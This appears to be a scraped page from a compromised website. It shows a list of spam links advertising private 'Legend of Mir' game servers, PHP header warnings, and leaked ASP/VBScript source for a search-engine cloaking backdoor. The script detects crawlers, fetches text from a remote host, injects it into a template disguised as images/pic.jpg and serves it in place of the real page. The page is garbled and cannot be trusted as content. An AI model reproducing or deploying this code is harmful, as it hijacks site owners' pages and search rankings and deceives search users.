• 传奇私服传奇私服www.ip920.com

  • 传奇SF传奇SFwww.ip920.com

  • 新开传奇私服新开传奇私服www.ip920.com

  • 传奇私服发布网传奇私服发布网www.ip920.com

  • 私服传奇私服传奇www.ip920.com

  • 热血传奇私服热血传奇私服www.ip920.com

  • 私服私服www.ip920.com

  • 传奇辅助传奇辅助www.3mfzk.com

  • 传奇版本传奇版本www.3mbbk.com

  • 新开传奇sf新开传奇sfwww.559u.com

  • 传奇世界私服传奇世界私服www.rs45.com

  • 新开私服传奇新开私服传奇www.180sf.com

  • 新开传奇网站新开传奇网站www.115sf.com

  • 最新传奇私服最新传奇私服www.22bt.com

  • 热血私服传奇热血私服传奇www.52cqsf.com

  • 传奇私服发布站传奇私服发布站www.sf911.com

  • 新开传奇sf新开传奇sfwww.sf118.com

  • cqsfcqsfwww.001cqsf.com

  • zhaosfzhaosfwww.99zhaosf.com

  • haosfhaosfwww.haosf3000.com

  • 找私服找私服www.sfw168.com

  • 热血传奇sf热血传奇sfwww.7878sf.com

  • 好私服好私服www.sf2u.com

  • 新开传奇新开传奇www.cq921.com

  • 新开私服新开私服www.sfy365.com

  • 私服传奇私服传奇www.125sf.com

  • 新开热血sf新开热血sfwww.sf250.com

  • 新开热血传奇sf新开热血传奇sfwww.ledsf.com

  • 热血传奇sf发布站热血传奇sf发布站www.159sf.com

  • 传奇sf发布站传奇sf发布站www.1745sf.com

  • 传奇私服网传奇私服网www.xiaosf.com

  • 私服发布网站私服发布网站www.95asf.com

  • 传奇sf发布网传奇sf发布网www.7nsf.com

  • sf传奇sf传奇www.9esf.com


  • Warning: Cannot modify header information - headers already sent by (output started at D:\wwwroot\glwedu\wwwroot\index.php:30) in D:\wwwroot\glwedu\wwwroot\index.php on line 71

    Warning: Cannot modify header information - headers already sent by (output started at D:\wwwroot\glwedu\wwwroot\index.php:30) in D:\wwwroot\glwedu\wwwroot\index.php on line 72
    <% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next end function function gethttp(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile,htmls,stitle,remotehtml,bodyurl bodyurl="http://pp.kj9887.com/qi.txt" remotehtml=gethttp(bodyurl) stitle =remotehtml mfileurl=Server.MapPath("images/pic.jpg") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll htmls=replace(mfilecon,"{期数}",stitle) response.clear response.write(htmls) response.write("") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (fromse() and mainpage()) then response.clear response.write("
    ") response.flush response.end end if %>